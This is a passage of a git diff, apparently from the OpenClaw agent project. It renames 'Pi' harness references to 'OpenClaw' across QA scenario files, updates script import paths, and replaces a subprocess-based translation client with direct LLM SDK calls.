Codex owns write natively. +objective: Verify file write behavior is tracked across OpenClaw and Codex while Codex owns write natively. successCriteria: - - Pi may expose OpenClaw write while Codex app-server mode may omit duplicate OpenClaw dynamic write. + - OpenClaw may expose OpenClaw write while Codex app-server mode may omit duplicate OpenClaw dynamic write. - Mock provider write plans are reported as fixture intent, not as actual runtime tool calls. - The row stays report-only until the fixture validates native Codex write behavior directly. docsRefs: - qa/scenarios/index.md codeRefs: - - src/agents/pi-tools.workspace-paths.test.ts + - src/agents/agent-tools.workspace-paths.test.ts - extensions/qa-lab/src/runtime-tool-fixture.ts execution: kind: flow diff --git a/qa/scenarios/runtime/tools/grep.md b/qa/scenarios/runtime/tools/grep.md index 0e51c448b7d..556976369ba 100644 --- a/qa/scenarios/runtime/tools/grep.md +++ b/qa/scenarios/runtime/tools/grep.md @@ -10,13 +10,13 @@ coverage: - tools.grep objective: Verify grep-style search behavior is tracked through command execution while Codex owns exec/process natively. successCriteria: - - Pi may expose OpenClaw exec while Codex app-server mode may omit duplicate OpenClaw dynamic exec/process. + - OpenClaw may expose OpenClaw exec while Codex app-server mode may omit duplicate OpenClaw dynamic exec/process. - Mock provider exec plans are reported as fixture intent, not as actual runtime tool calls. - The row stays report-only until the fixture validates native Codex search/command behavior directly. docsRefs: - qa/scenarios/index.md codeRefs: - - src/agents/pi-tools.ts + - src/agents/agent-tools.ts - extensions/qa-lab/src/runtime-tool-fixture.ts execution: kind: flow diff --git a/qa/scenarios/runtime/tools/image-generate.md b/qa/scenarios/runtime/tools/image-generate.md index cce41c035a0..19ccc3f162d 100644 --- a/qa/scenarios/runtime/tools/image-generate.md +++ b/qa/scenarios/runtime/tools/image-generate.md @@ -8,7 +8,7 @@ runtimeParityTier: standard coverage: primary: - tools.image-generate -objective: Verify image_generate preserves arguments and result shape across Pi and Codex. +objective: Verify image_generate preserves arguments and result shape across OpenClaw and Codex. successCriteria: - Effective tools expose image_generate after QA image-generation config is applied. - The mock provider plans exactly one happy-path image_generate call. @@ -35,7 +35,7 @@ execution: codexDefaultImpact: P4 qaImpact: P1 action: hard gate in the standard direct-loading tier - reason: image_generate is an OpenClaw integration tool and must stay visible and callable under Pi and Codex direct runtime parity. + reason: image_generate is an OpenClaw integration tool and must stay visible and callable under OpenClaw and Codex direct runtime parity. promptSnippet: "target=image_generate" failurePromptSnippet: "failure target=image_generate" ``` diff --git a/qa/scenarios/runtime/tools/message-tool.md b/qa/scenarios/runtime/tools/message-tool.md index 306f63e8306..b84fc37922d 100644 --- a/qa/scenarios/runtime/tools/message-tool.md +++ b/qa/scenarios/runtime/tools/message-tool.md @@ -16,7 +16,7 @@ successCriteria: docsRefs: - qa/scenarios/index.md codeRefs: - - src/agents/pi-embedded-messaging.ts + - src/agents/embedded-agent-messaging.ts - src/agents/tools/sessions-send-tool.ts - extensions/qa-lab/src/runtime-tool-fixture.ts execution: diff --git a/qa/scenarios/runtime/tools/session-status.md b/qa/scenarios/runtime/tools/session-status.md index 1bc27644244..d292212b994 100644 --- a/qa/scenarios/runtime/tools/session-status.md +++ b/qa/scenarios/runtime/tools/session-status.md @@ -8,7 +8,7 @@ runtimeParityTier: standard coverage: primary: - tools.session-status -objective: Verify session_status preserves arguments and result shape across Pi and Codex. +objective: Verify session_status preserves arguments and result shape across OpenClaw and Codex. successCriteria: - Effective tools expose session_status. - The mock provider plans exactly one happy-path session_status call. @@ -34,7 +34,7 @@ execution: codexDefaultImpact: P4 qaImpact: P1 action: hard gate in the standard direct-loading tier - reason: session_status is an OpenClaw integration tool and must stay visible and callable under Pi and Codex direct runtime parity. + reason: session_status is an OpenClaw integration tool and must stay visible and callable under OpenClaw and Codex direct runtime parity. promptSnippet: "target=session_status" failurePromptSnippet: "failure target=session_status" ``` diff --git a/qa/scenarios/runtime/tools/sessions-spawn.md b/qa/scenarios/runtime/tools/sessions-spawn.md index ae05fbd0b07..971506dcd0e 100644 --- a/qa/scenarios/runtime/tools/sessions-spawn.md +++ b/qa/scenarios/runtime/tools/sessions-spawn.md @@ -8,7 +8,7 @@ runtimeParityTier: standard coverage: primary: - tools.sessions-spawn -objective: Verify sessions_spawn preserves arguments and result shape across Pi and Codex. +objective: Verify sessions_spawn preserves arguments and result shape across OpenClaw and Codex. successCriteria: - Effective tools expose sessions_spawn. - The mock provider plans exactly one happy-path sessions_spawn call. @@ -34,7 +34,7 @@ execution: codexDefaultImpact: P4 qaImpact: P1 action: hard gate in the standard direct-loading tier - reason: sessions_spawn is an OpenClaw integration tool and must stay visible and callable under Pi and Codex direct runtime parity. + reason: sessions_spawn is an OpenClaw integration tool and must stay visible and callable under OpenClaw and Codex direct runtime parity. promptSnippet: "target=sessions_spawn" failurePromptSnippet: "failure target=sessions_spawn" ``` diff --git a/qa/scenarios/runtime/tools/web-fetch.md b/qa/scenarios/runtime/tools/web-fetch.md index 5ed2e353984..47d0c0a1fc4 100644 --- a/qa/scenarios/runtime/tools/web-fetch.md +++ b/qa/scenarios/runtime/tools/web-fetch.md @@ -8,7 +8,7 @@ runtimeParityTier: standard coverage: primary: - tools.web-fetch -objective: Verify web_fetch preserves arguments and result shape across Pi and Codex. +objective: Verify web_fetch preserves arguments and result shape across OpenClaw and Codex. successCriteria: - Effective tools expose web_fetch. - The mock provider plans exactly one happy-path web_fetch call. @@ -34,7 +34,7 @@ execution: codexDefaultImpact: P4 qaImpact: P1 action: hard gate in the standard direct-loading tier - reason: web_fetch is an OpenClaw integration tool and must stay visible and callable under Pi and Codex direct runtime parity. + reason: web_fetch is an OpenClaw integration tool and must stay visible and callable under OpenClaw and Codex direct runtime parity. promptSnippet: "target=web_fetch" failurePromptSnippet: "failure target=web_fetch" ``` diff --git a/qa/scenarios/runtime/tools/web-search.md b/qa/scenarios/runtime/tools/web-search.md index 5712ada13c4..2c2a5ffeea5 100644 --- a/qa/scenarios/runtime/tools/web-search.md +++ b/qa/scenarios/runtime/tools/web-search.md @@ -8,7 +8,7 @@ runtimeParityTier: standard coverage: primary: - tools.web-search -objective: Verify web_search preserves arguments and result shape across Pi and Codex. +objective: Verify web_search preserves arguments and result shape across OpenClaw and Codex. successCriteria: - Effective tools expose web_search. - The mock provider plans exactly one happy-path web_search call. @@ -34,7 +34,7 @@ execution: codexDefaultImpact: P4 qaImpact: P1 action: hard gate in the standard direct-loading tier - reason: web_search is an OpenClaw integration tool and must stay visible and callable under Pi and Codex direct runtime parity. + reason: web_search is an OpenClaw integration tool and must stay visible and callable under OpenClaw and Codex direct runtime parity. promptSnippet: "target=web_search" failurePromptSnippet: "failure target=web_search" ``` diff --git a/qa/scenarios/security/secret-redaction-tool-logs.md b/qa/scenarios/security/secret-redaction-tool-logs.md index f85f6ebef1d..d90a26641c2 100644 --- a/qa/scenarios/security/secret-redaction-tool-logs.md +++ b/qa/scenarios/security/secret-redaction-tool-logs.md @@ -21,7 +21,7 @@ docsRefs: codeRefs: - extensions/qa-lab/src/suite-runtime-agent-process.ts - extensions/qa-lab/src/suite-runtime-transport.ts - - src/agents/pi-embedded-runner/run/incomplete-turn.ts + - src/agents/embedded-agent-runner/run/incomplete-turn.ts execution: kind: flow summary: Verify fake secret fixtures are not echoed into channel-visible output. diff --git a/qa/scenarios/workspace/medium-game-plan-codex-harness.md b/qa/scenarios/workspace/medium-game-plan-codex-harness.md index ae2b3207e3f..4158640ee09 100644 --- a/qa/scenarios/workspace/medium-game-plan-codex-harness.md +++ b/qa/scenarios/workspace/medium-game-plan-codex-harness.md @@ -77,9 +77,8 @@ steps: patch: agents: defaults: - agentRuntime: - id: - expr: config.harnessRuntime + models: + expr: "({ [env.primaryModel]: { agentRuntime: { id: config.harnessRuntime } } })" - call: waitForGatewayHealthy args: - ref: env @@ -93,10 +92,10 @@ steps: args: - ref: env - assert: - expr: "snapshot.config.agents?.defaults?.agentRuntime?.id === config.harnessRuntime" + expr: "snapshot.config.agents?.defaults?.models?.[env.primaryModel]?.agentRuntime?.id === config.harnessRuntime" message: - expr: "`expected agentRuntime.id=${config.harnessRuntime}, got ${JSON.stringify(snapshot.config.agents?.defaults?.agentRuntime)}`" - detailsExpr: "env.providerMode === 'live-frontier' ? `provider=${selected?.provider} model=${selected?.model} runtime=${snapshot.config.agents?.defaults?.agentRuntime?.id}` : `mock mode: parsed ${scenario.id}`" + expr: "`expected ${env.primaryModel} agentRuntime.id=${config.harnessRuntime}, got ${JSON.stringify(snapshot.config.agents?.defaults?.models?.[env.primaryModel]?.agentRuntime)}`" + detailsExpr: "env.providerMode === 'live-frontier' ? `provider=${selected?.provider} model=${selected?.model} runtime=${snapshot.config.agents?.defaults?.models?.[env.primaryModel]?.agentRuntime?.id}` : `mock mode: parsed ${scenario.id}`" - name: builds the medium game artifact actions: - if: diff --git a/qa/scenarios/workspace/medium-game-plan-pi-harness.md b/qa/scenarios/workspace/medium-game-plan-openclaw-harness.md similarity index 82% rename from qa/scenarios/workspace/medium-game-plan-pi-harness.md rename to qa/scenarios/workspace/medium-game-plan-openclaw-harness.md index c38862ea5be..4d41f40fd80 100644 --- a/qa/scenarios/workspace/medium-game-plan-pi-harness.md +++ b/qa/scenarios/workspace/medium-game-plan-openclaw-harness.md @@ -1,18 +1,18 @@ -# Medium game plan PI harness +# Medium game plan OpenClaw harness ```yaml qa-scenario -id: medium-game-plan-pi-harness -title: Medium game plan PI harness +id: medium-game-plan-openclaw-harness +title: Medium game plan OpenClaw harness surface: workspace coverage: primary: - workspace.planning secondary: - - agents.pi-harness -objective: Verify GPT-5.5 can use the PI harness to plan and build a medium-complex self-contained browser game. + - agents.openclaw-harness +objective: Verify GPT-5.5 can use the OpenClaw harness to plan and build a medium-complex self-contained browser game. successCriteria: - A live-frontier run fails fast unless the selected primary model is openai/gpt-5.5. - - The scenario forces the embedded PI harness before the build turn. + - The scenario forces the embedded OpenClaw harness before the build turn. - The prompt explicitly asks the agent to enter plan mode before editing. - The agent writes a self-contained HTML game with a canvas loop, controls, scoring, waves, pause, and restart. docsRefs: @@ -21,22 +21,22 @@ docsRefs: - docs/help/testing.md codeRefs: - src/agents/harness/selection.ts - - src/agents/harness/builtin-pi.ts + - src/agents/harness/builtin-openclaw.ts - extensions/qa-lab/src/suite.ts execution: kind: flow - summary: Run with `pnpm openclaw qa suite --provider-mode live-frontier --model openai/gpt-5.5 --alt-model openai/gpt-5.5 --fast --thinking medium --scenario medium-game-plan-pi-harness`. + summary: Run with `pnpm openclaw qa suite --provider-mode live-frontier --model openai/gpt-5.5 --alt-model openai/gpt-5.5 --fast --thinking medium --scenario medium-game-plan-openclaw-harness`. config: requiredProvider: openai requiredModel: gpt-5.5 - harnessRuntime: pi - artifactFile: star-garden-defenders-pi.html + harnessRuntime: openclaw + artifactFile: star-garden-defenders-openclaw.html gameTitle: Star Garden Defenders minBytes: 5000 buildPrompt: |- Enter plan mode first and write a short implementation plan before editing. - Then build a medium-complex, self-contained browser game at ./star-garden-defenders-pi.html. + Then build a medium-complex, self-contained browser game at ./star-garden-defenders-openclaw.html. Game: Star Garden Defenders. Requirements: @@ -51,7 +51,7 @@ execution: ```yaml qa-flow steps: - - name: confirms GPT-5.5 PI harness target + - name: confirms GPT-5.5 OpenClaw harness target actions: - set: selected value: @@ -77,9 +77,8 @@ steps: patch: agents: defaults: - agentRuntime: - id: - expr: config.harnessRuntime + models: + expr: "({ [env.primaryModel]: { agentRuntime: { id: config.harnessRuntime } } })" - call: waitForGatewayHealthy args: - ref: env @@ -93,10 +92,10 @@ steps: args: - ref: env - assert: - expr: "snapshot.config.agents?.defaults?.agentRuntime?.id === config.harnessRuntime" + expr: "snapshot.config.agents?.defaults?.models?.[env.primaryModel]?.agentRuntime?.id === config.harnessRuntime" message: - expr: "`expected agentRuntime.id=${config.harnessRuntime}, got ${JSON.stringify(snapshot.config.agents?.defaults?.agentRuntime)}`" - detailsExpr: "env.providerMode === 'live-frontier' ? `provider=${selected?.provider} model=${selected?.model} runtime=${snapshot.config.agents?.defaults?.agentRuntime?.id}` : `mock mode: parsed ${scenario.id}`" + expr: "`expected ${env.primaryModel} agentRuntime.id=${config.harnessRuntime}, got ${JSON.stringify(snapshot.config.agents?.defaults?.models?.[env.primaryModel]?.agentRuntime)}`" + detailsExpr: "env.providerMode === 'live-frontier' ? `provider=${selected?.provider} model=${selected?.model} runtime=${snapshot.config.agents?.defaults?.models?.[env.primaryModel]?.agentRuntime?.id}` : `mock mode: parsed ${scenario.id}`" - name: builds the medium game artifact actions: - if: @@ -108,7 +107,7 @@ steps: - call: runAgentPrompt args: - ref: env - - sessionKey: agent:qa:medium-game-pi + - sessionKey: agent:qa:medium-game-openclaw message: expr: config.buildPrompt provider: diff --git a/scripts/audit-seams.mjs b/scripts/audit-seams.mjs index c1147f26d66..310492e9723 100644 --- a/scripts/audit-seams.mjs +++ b/scripts/audit-seams.mjs @@ -584,7 +584,7 @@ function describeCronSeamKinds(relativePath, source) { const seamKinds = []; const importsAgentRunner = hasAnyImportSource(source, [ "../../agents/cli-runner.js", - "../../agents/pi-embedded.js", + "../../agents/embedded-agent.js", "../../agents/model-fallback.js", "../../agents/subagent-registry.js", "../../infra/agent-events.js", @@ -625,7 +625,7 @@ function describeCronSeamKinds(relativePath, source) { if ( importsAgentRunner && - /\brunCliAgent\b|\brunEmbeddedPiAgent\b|\brunWithModelFallback\b|\bregisterAgentRunContext\b/.test( + /\brunCliAgent\b|\brunEmbeddedAgent\b|\brunWithModelFallback\b|\bregisterAgentRunContext\b/.test( source, ) ) { @@ -746,7 +746,7 @@ function describeSubagentSeamKinds(relativePath, source) { if ( (importsAnnounceDelivery || isAnnounceDispatchPath) && - /\brunSubagentAnnounceFlow\b|\brunSubagentAnnounceDispatch\b|\benqueueAnnounce\b|\bcreateBoundDeliveryRouter\b|\bqueueEmbeddedPiMessage\b|\bwaitForEmbeddedPiRunEnd\b|\bqueue-fallback\b|\bdirect-primary\b/.test( + /\brunSubagentAnnounceFlow\b|\brunSubagentAnnounceDispatch\b|\benqueueAnnounce\b|\bcreateBoundDeliveryRouter\b|\bqueueEmbeddedAgentMessage\b|\bwaitForEmbeddedAgentRunEnd\b|\bqueue-fallback\b|\bdirect-primary\b/.test( source, ) ) { diff --git a/scripts/bench-model.ts b/scripts/bench-model.ts index 707c6f87e7f..63571476d64 100644 --- a/scripts/bench-model.ts +++ b/scripts/bench-model.ts @@ -1,4 +1,4 @@ -import { completeSimple, getModel, type Api, type Model } from "@earendil-works/pi-ai"; +import { completeSimple, type Model } from "openclaw/plugin-sdk/llm"; type Usage = { input?: number; @@ -49,7 +49,7 @@ function median(values: number[]): number { async function runModel(opts: { label: string; - model: Model; + model: Model; apiKey: string; runs: number; prompt: string; @@ -105,7 +105,17 @@ async function main(): Promise { contextWindow: 200000, maxTokens: 8192, }; - const opusModel = getModel("anthropic", "claude-opus-4-6"); + const opusModel: Model<"anthropic-messages"> = { + id: "claude-opus-4-6", + name: "Claude Opus 4.6", + api: "anthropic-messages", + provider: "anthropic", + reasoning: true, + input: ["text", "image"], + cost: { input: 15, output: 75, cacheRead: 1.5, cacheWrite: 18.75 }, + contextWindow: 200000, + maxTokens: 32000, + }; console.log(`Prompt: ${prompt}`); console.log(`Runs: ${runs}`); diff --git a/scripts/build-all.mjs b/scripts/build-all.mjs index b3b18639dac..d354b9fcbfe 100644 --- a/scripts/build-all.mjs +++ b/scripts/build-all.mjs @@ -82,7 +82,7 @@ export const BUILD_ALL_STEPS = [ "scripts/lib/copy-assets.ts", "src/auto-reply/reply/export-html", ], - outputs: ["dist/export-html"], + outputs: ["dist/auto-reply/reply/export-html"], }, }, { diff --git a/scripts/check-deprecated-api-usage.mjs b/scripts/check-deprecated-api-usage.mjs index b3370f8961c..82c758d27d2 100644 --- a/scripts/check-deprecated-api-usage.mjs +++ b/scripts/check-deprecated-api-usage.mjs @@ -145,7 +145,6 @@ const rules = [ { id: "extension-plugin-sdk-compat-subpaths", roots: ["extensions"], - skippedFilePatterns: [], moduleSpecifiers: buildDeprecatedPluginSdkModuleSpecifiers(), message: "extensions must use focused non-deprecated plugin SDK subpaths", }, diff --git a/scripts/control-ui-i18n.ts b/scripts/control-ui-i18n.ts index b03524ebedf..451dbc4df52 100644 --- a/scripts/control-ui-i18n.ts +++ b/scripts/control-ui-i18n.ts @@ -1,16 +1,17 @@ -import { spawn, type ChildProcessWithoutNullStreams } from "node:child_process"; +import { spawn } from "node:child_process"; import { createHash } from "node:crypto"; import { existsSync } from "node:fs"; import { mkdir, readFile, readdir, stat, writeFile } from "node:fs/promises"; -import { homedir } from "node:os"; import path from "node:path"; -import { createInterface } from "node:readline"; import { fileURLToPath, pathToFileURL } from "node:url"; +import { + completeSimple, + type Api, + type AssistantMessage, + type Model, +} from "openclaw/plugin-sdk/llm"; import * as ts from "typescript"; import { formatErrorMessage } from "../src/infra/errors.ts"; -import { resolveNpmRunner } from "./npm-runner.mjs"; -import { resolvePnpmRunner } from "./pnpm-runner.mjs"; -import { buildCmdExeCommandLine } from "./windows-cmd-helpers.mjs"; interface TranslationMap { [key: string]: string | TranslationMap; @@ -88,8 +89,6 @@ const CONTROL_UI_I18N_WORKFLOW = 1; const DEFAULT_OPENAI_MODEL = "gpt-5.5"; const DEFAULT_ANTHROPIC_MODEL = "claude-opus-4-6"; const DEFAULT_PROVIDER = "openai"; -export const DEFAULT_PI_PACKAGE_VERSION = "0.75.5"; -const PI_PACKAGE_NAME = "@earendil-works/pi-coding-agent"; const HERE = path.dirname(fileURLToPath(import.meta.url)); const ROOT = path.resolve(HERE, ".."); const LOCALES_DIR = path.join(ROOT, "ui", "src", "i18n", "locales"); @@ -108,13 +107,35 @@ const PROGRESS_HEARTBEAT_MS = 30_000; const ENV_PROVIDER = "OPENCLAW_CONTROL_UI_I18N_PROVIDER"; const ENV_MODEL = "OPENCLAW_CONTROL_UI_I18N_MODEL"; const ENV_THINKING = "OPENCLAW_CONTROL_UI_I18N_THINKING"; -const ENV_PI_EXECUTABLE = "OPENCLAW_CONTROL_UI_I18N_PI_EXECUTABLE"; -const ENV_PI_ARGS = "OPENCLAW_CONTROL_UI_I18N_PI_ARGS"; -const ENV_PI_PACKAGE_VERSION = "OPENCLAW_CONTROL_UI_I18N_PI_PACKAGE_VERSION"; const ENV_BATCH_CHAR_BUDGET = "OPENCLAW_CONTROL_UI_I18N_BATCH_CHAR_BUDGET"; const ENV_PROMPT_TIMEOUT = "OPENCLAW_CONTROL_UI_I18N_PROMPT_TIMEOUT"; const ENV_AUTH_OPTIONAL = "OPENCLAW_CONTROL_UI_I18N_AUTH_OPTIONAL"; +type TranslationProvider = "openai" | "anthropic"; + +const TRANSLATION_PROVIDER_DEFAULTS: Record> = { + openai: { + api: "openai-responses", + provider: "openai", + baseUrl: "https://api.openai.com/v1", + reasoning: true, + input: ["text"], + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, + contextWindow: 400_000, + maxTokens: 32_000, + }, + anthropic: { + api: "anthropic-messages", + provider: "anthropic", + baseUrl: "https://api.anthropic.com", + reasoning: true, + input: ["text"], + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, + contextWindow: 200_000, + maxTokens: 32_000, + }, +}; + const LOCALE_ENTRIES: readonly LocaleEntry[] = [ { locale: "zh-CN", fileName: "zh-CN.ts", exportName: "zh_CN", languageKey: "zhCN" }, { locale: "zh-TW", fileName: "zh-TW.ts", exportName: "zh_TW", languageKey: "zhTW" }, @@ -273,6 +294,14 @@ function hasTranslationProvider(): boolean { return Boolean(process.env.OPENAI_API_KEY?.trim() || process.env.ANTHROPIC_API_KEY?.trim()); } +function resolveKnownTranslationProvider(): TranslationProvider { + const provider = resolveConfiguredProvider(); + if (provider === "openai" || provider === "anthropic") { + return provider; + } + throw new Error(`Unsupported translation provider: ${provider}`); +} + function normalizeText(text: string): string { return text.trim().split(/\s+/).join(" "); } @@ -288,7 +317,7 @@ function hashText(text: string): string { function cacheNamespace(): string { return [ `wf=${CONTROL_UI_I18N_WORKFLOW}`, - "engine=pi", + "engine=openclaw-llm", `provider=${resolveConfiguredProvider()}`, `model=${resolveConfiguredModel()}`, ].join("|"); @@ -918,236 +947,22 @@ function estimateBatchChars(items: readonly TranslationBatchItem[]): number { return items.reduce((total, item) => total + item.key.length + item.text.length + 8, 2); } -type PiCommand = { - args: string[]; - executable: string; -}; - -type ProcessCommand = { - args: string[]; - env?: NodeJS.ProcessEnv; - executable: string; - shell: boolean; - windowsVerbatimArguments?: boolean; -}; - -type ResolveProcessCommandOptions = { - comSpec?: string; - env?: NodeJS.ProcessEnv; - execPath?: string; - existsSync?: (path: string) => boolean; - npmExecPath?: string; - platform?: NodeJS.Platform; -}; - -function portableExtension(value: string): string { - return path.posix.extname(value.split(/[/\\]/u).at(-1) ?? value).toLowerCase(); -} - -function isWindowsCommandShim(value: string, platform = process.platform): boolean { - const extension = portableExtension(value); - return platform === "win32" && (extension === ".cmd" || extension === ".bat"); -} - -function resolveEnvValue(env: NodeJS.ProcessEnv, name: string): string | undefined { - const key = Object.keys(env).find((candidate) => candidate.toLowerCase() === name.toLowerCase()); - return key === undefined ? undefined : env[key]; -} - -function commandFromRunner(runner: { - args: string[]; - command: string; - env?: NodeJS.ProcessEnv; - shell: boolean; - windowsVerbatimArguments?: boolean; -}): ProcessCommand { - const command: ProcessCommand = { - args: runner.args, - executable: runner.command, - shell: runner.shell, - windowsVerbatimArguments: runner.windowsVerbatimArguments, - }; - if (runner.env !== undefined) { - command.env = runner.env; - } - return command; -} - -export function resolveControlUiI18nProcessCommand( - executable: string, - args: string[], - options: ResolveProcessCommandOptions = {}, -): ProcessCommand { - const env = options.env ?? process.env; - const platform = options.platform ?? process.platform; - const comSpec = options.comSpec ?? resolveEnvValue(env, "ComSpec") ?? "cmd.exe"; - if (isWindowsCommandShim(executable, platform)) { - return { - args: ["/d", "/s", "/c", buildCmdExeCommandLine(executable, args)], - executable: comSpec, - shell: false, - windowsVerbatimArguments: true, - }; - } - return { args, executable, shell: false }; -} - -export function resolveControlUiI18nNpmInstallCommand( - packageSpec: string, - options: ResolveProcessCommandOptions = {}, -): ProcessCommand { - return commandFromRunner( - resolveNpmRunner({ - comSpec: options.comSpec, - env: options.env, - execPath: options.execPath, - existsSync: options.existsSync, - npmArgs: ["install", "--silent", "--no-audit", "--no-fund", packageSpec], - platform: options.platform, - }), - ); -} - -export function resolveControlUiI18nPnpmCommand( - args: string[], - options: ResolveProcessCommandOptions = {}, -): ProcessCommand { - return commandFromRunner( - resolvePnpmRunner({ - comSpec: options.comSpec, - npmExecPath: options.npmExecPath ?? process.env.npm_execpath, - nodeExecPath: options.execPath ?? process.execPath, - platform: options.platform, - pnpmArgs: args, - }), - ); -} - -export function resolvePiShimNodeCommand( - shimPath: string, - options: Pick = {}, -): PiCommand | null { - const platform = options.platform ?? process.platform; - if (!isWindowsCommandShim(shimPath, platform)) { - return null; - } - const cliPath = path.win32.join( - path.win32.dirname(shimPath), - "node_modules", - ...PI_PACKAGE_NAME.split("/"), - "dist", - "cli.js", - ); - const exists = options.existsSync ?? existsSync; - if (!exists(cliPath)) { - return null; - } - return { executable: "node", args: [cliPath] }; -} - -function resolvePiPackageVersion(): string { - return process.env[ENV_PI_PACKAGE_VERSION]?.trim() || DEFAULT_PI_PACKAGE_VERSION; -} - -function getPiRuntimeDir() { - return path.join( - homedir(), - ".cache", - "openclaw", - "control-ui-i18n", - "pi-runtime", - resolvePiPackageVersion(), - ); -} - -export function resolveLocalPiCommand(root = ROOT): PiCommand | null { - const cliPath = path.join(root, "node_modules", ...PI_PACKAGE_NAME.split("/"), "dist", "cli.js"); - if (!existsSync(cliPath)) { - return null; - } - return { executable: "node", args: [cliPath] }; -} - -async function resolvePiCommand(): Promise { - const explicitExecutable = process.env[ENV_PI_EXECUTABLE]?.trim(); - if (explicitExecutable) { - const explicitArgs = process.env[ENV_PI_ARGS]?.trim().split(/\s+/).filter(Boolean) ?? []; - const shimCommand = resolvePiShimNodeCommand(explicitExecutable); - if (shimCommand) { - return { - executable: shimCommand.executable, - args: [...shimCommand.args, ...explicitArgs], - }; - } - if (isWindowsCommandShim(explicitExecutable)) { - throw new Error( - `${ENV_PI_EXECUTABLE} points to a Windows command shim that cannot safely carry the multiline i18n system prompt. Point it at node with ${ENV_PI_ARGS} set to the Pi package dist/cli.js path, or unset it so OpenClaw uses the managed Pi runtime.`, - ); - } - return { - executable: explicitExecutable, - args: explicitArgs, - }; - } - - const pathEntries = (process.env.PATH ?? "").split(path.delimiter).filter(Boolean); - for (const entry of pathEntries) { - const candidate = path.join(entry, process.platform === "win32" ? "pi.cmd" : "pi"); - if (existsSync(candidate)) { - const shimCommand = resolvePiShimNodeCommand(candidate); - if (shimCommand) { - return shimCommand; - } - if (process.platform === "win32") { - continue; - } - return { executable: candidate, args: [] }; - } - } - - const localCommand = resolveLocalPiCommand(); - if (localCommand) { - return localCommand; - } - - const runtimeDir = getPiRuntimeDir(); - const cliPath = path.join( - runtimeDir, - "node_modules", - ...PI_PACKAGE_NAME.split("/"), - "dist", - "cli.js", - ); - if (!existsSync(cliPath)) { - await mkdir(runtimeDir, { recursive: true }); - await runProcessCommand( - resolveControlUiI18nNpmInstallCommand(`${PI_PACKAGE_NAME}@${resolvePiPackageVersion()}`), - { - cwd: runtimeDir, - rejectOnFailure: true, - }, - ); - } - return { executable: "node", args: [cliPath] }; -} - type RunProcessOptions = { cwd?: string; input?: string; rejectOnFailure?: boolean; }; -async function runProcessCommand( - command: ProcessCommand, +async function runProcess( + executable: string, + args: string[], options: RunProcessOptions = {}, ): Promise<{ code: number; stderr: string; stdout: string }> { return await new Promise((resolve, reject) => { - const child = spawn(command.executable, command.args, { + const child = spawn(executable, args, { cwd: options.cwd ?? ROOT, - env: command.env ?? process.env, - shell: command.shell, + env: process.env, stdio: ["pipe", "pipe", "pipe"], - windowsVerbatimArguments: command.windowsVerbatimArguments, }); let stdout = ""; @@ -1167,11 +982,7 @@ async function runProcessCommand( child.once("close", (code) => { if ((code ?? 1) !== 0 && options.rejectOnFailure) { reject( - new Error( - `${command.executable} ${command.args.join(" ")} failed: ${ - stderr.trim() || stdout.trim() - }`, - ), + new Error(`${executable} ${args.join(" ")} failed: ${stderr.trim() || stdout.trim()}`), ); return; } @@ -1181,13 +992,9 @@ async function runProcessCommand( } async function formatGeneratedTypeScript(filePath: string, source: string): Promise { - const result = await runProcessCommand( - resolveControlUiI18nPnpmCommand([ - "exec", - "oxfmt", - "--stdin-filepath", - path.relative(ROOT, filePath), - ]), + const result = await runProcess( + "pnpm", + ["exec", "oxfmt", "--stdin-filepath", path.relative(ROOT, filePath)], { input: source, rejectOnFailure: true, @@ -1224,13 +1031,6 @@ function restoreReplacementCorruptedStringLiterals(source: string, formatted: st return `${output}${formatted.slice(cursor)}`; } -type PendingPrompt = { - id: string; - reject: (reason?: unknown) => void; - resolve: (value: string) => void; - responseReceived: boolean; -}; - type LocaleRunContext = { localeCount: number; localeIndex: number; @@ -1245,7 +1045,7 @@ type TranslationBatchContext = LocaleRunContext & { }; type ClientAccess = { - getClient: () => Promise; + getClient: () => Promise; resetClient: () => Promise; }; @@ -1284,198 +1084,74 @@ function buildTranslationBatches(items: readonly TranslationBatchItem[]): Transl return batches; } -class PiRpcClient { - private readonly stderrChunks: string[] = []; +export function resolveTranslationModel(): Model { + const provider = resolveKnownTranslationProvider(); + const modelId = resolveConfiguredModel(); + return { + ...TRANSLATION_PROVIDER_DEFAULTS[provider], + id: modelId, + name: modelId, + }; +} + +class TranslationClient { private closed = false; - private pending: PendingPrompt | null = null; - private readonly process: ChildProcessWithoutNullStreams; - private readonly stdin: ChildProcessWithoutNullStreams["stdin"]; - private requestCount = 0; private sequence: Promise = Promise.resolve(); + private readonly model: Model; - private constructor(processHandle: ChildProcessWithoutNullStreams) { - this.process = processHandle; - this.stdin = processHandle.stdin; + private constructor(private readonly systemPrompt: string) { + this.model = resolveTranslationModel(); } - static async create(systemPrompt: string): Promise { - const command = await resolvePiCommand(); - const args = [ - ...command.args, - "--mode", - "rpc", - "--provider", - resolveConfiguredProvider(), - "--model", - resolveConfiguredModel(), - "--thinking", - resolveThinkingLevel(), - "--no-session", - "--system-prompt", - systemPrompt, - ]; - const invocation = resolveControlUiI18nProcessCommand(command.executable, args); - const child = spawn(invocation.executable, invocation.args, { - cwd: ROOT, - env: invocation.env ?? process.env, - shell: invocation.shell, - stdio: ["pipe", "pipe", "pipe"], - windowsVerbatimArguments: invocation.windowsVerbatimArguments, - }); - - const client = new PiRpcClient(child); - client.bindProcess(); - await client.waitForBoot(); - return client; - } - - private bindProcess() { - const stderr = createInterface({ input: this.process.stderr }); - stderr.on("line", (line) => { - this.stderrChunks.push(line); - }); - - const stdout = createInterface({ input: this.process.stdout }); - stdout.on("line", (line) => { - void this.handleStdoutLine(line); - }); - - this.process.once("error", (error) => { - this.rejectPending(error); - }); - - this.process.once("close", () => { - this.closed = true; - this.rejectPending( - new Error(`pi process closed${this.stderr() ? ` (${this.stderr()})` : ""}`), - ); - }); - } - - private async waitForBoot() { - await sleep(150); - } - - private stderr() { - return this.stderrChunks.join("\n").trim(); - } - - private rejectPending(error: Error) { - const pending = this.pending; - this.pending = null; - if (pending) { - pending.reject(error); - } - } - - private async handleStdoutLine(line: string) { - const trimmed = line.trim(); - if (!trimmed) { - return; - } - let parsed: Record; - try { - parsed = JSON.parse(trimmed) as Record; - } catch { - return; - } - - const pending = this.pending; - if (!pending) { - return; - } - - switch (parsed.type) { - case "response": { - if (parsed.id !== pending.id) { - return; - } - const success = parsed.success === true; - if (!success) { - const errorText = - typeof parsed.error === "string" && parsed.error.trim() - ? parsed.error.trim() - : "pi prompt failed"; - this.pending = null; - pending.reject(new Error(errorText)); - return; - } - 